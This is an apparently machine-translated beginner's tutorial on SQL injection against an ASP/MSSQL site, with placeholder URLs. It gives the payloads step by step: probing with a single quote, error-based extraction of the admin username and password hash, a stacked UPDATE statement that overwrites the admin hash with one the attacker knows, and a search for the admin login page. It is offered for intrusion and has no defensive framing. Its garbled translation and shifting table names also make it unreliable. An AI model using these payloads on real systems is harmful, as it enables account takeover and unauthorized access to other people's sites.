SQL Injection to modify the hard-to-guess MD5

Search for the MD5 cracking website online. However, some MD5 passwords are very biased, so some new users will give up. I will introduce a method for beginners to easily modify the MD5 password that is difficult to guess.

Attackers who often intrude into the system will ignore this issue ..

Find any address

Http://www.xxx.org/news.asp? Id = 121

Enter single quotation marks after the address to display

Microsoft ole db provider for SQL Server Error '80040e14'

There are unclosed quotation marks before the string '''

/News/wantpws. asp, row 63

It indicates that the single quotes are not filtered and the database is MSSQL.

And 1 = 1 error. And 1 = 2 is normal.

Enter

Http://www.xxx.org/news.asp? Id = 1 or admin_user in (select ID from Admin)

The account is admin.

Http://www.xxx.org/news.asp? Id = 121 or admin_password in (select ID from Admin)

The obtained password is a4716077c2ba075c.

Next we can change the password. But we previously wanted to know our encrypted character: e8dc763194f29433

Type:

; Update shop_admin SET Password = 'e8dc763194f29433 'Where Password = 'a4716077c2ba075c '--

This statement replaces a4716077c2ba075c with e8dc763194f29433 to change the password.

Scan the background

Http://www.xxx.org/admin/admin_login.asp